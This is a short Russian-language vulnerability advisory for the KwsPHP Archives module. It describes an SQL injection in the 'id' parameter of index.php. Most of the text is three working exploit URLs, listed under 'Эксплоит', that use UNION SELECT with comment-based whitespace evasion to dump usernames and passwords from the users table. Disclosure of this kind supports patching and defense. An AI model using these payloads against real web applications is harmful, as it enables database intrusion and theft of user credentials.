Программа: KwsPHP Module Archives
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «id» сценарием index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Эксплоит:
index.php?mod=archives&ac=voir&id=-99999/**/union/**/select/* */0,concat(pseudo,0x3a,pass),2,3,4,5,concat(pseudo,0x3a,pass),7,8,9,10,11,12,13/* */from/**/users/*
index.php?mod=archives&ac=voir&id=-99999/**/union/**/select/* */0,concat(pseudo,0x3a,pass),2,3,4,5,concat(pseudo,0x3a,pass),7,8,9,10/**/from/* */users/*
index.php?mod=archives&ac=voir&id=-99999/**/union/**/select/* */0,concat(pseudo,0x3a,pass),2,3,4,5,concat(pseudo,0x3a,pass),7,8,9,10,11,12,13,14/* */from/**/users/*
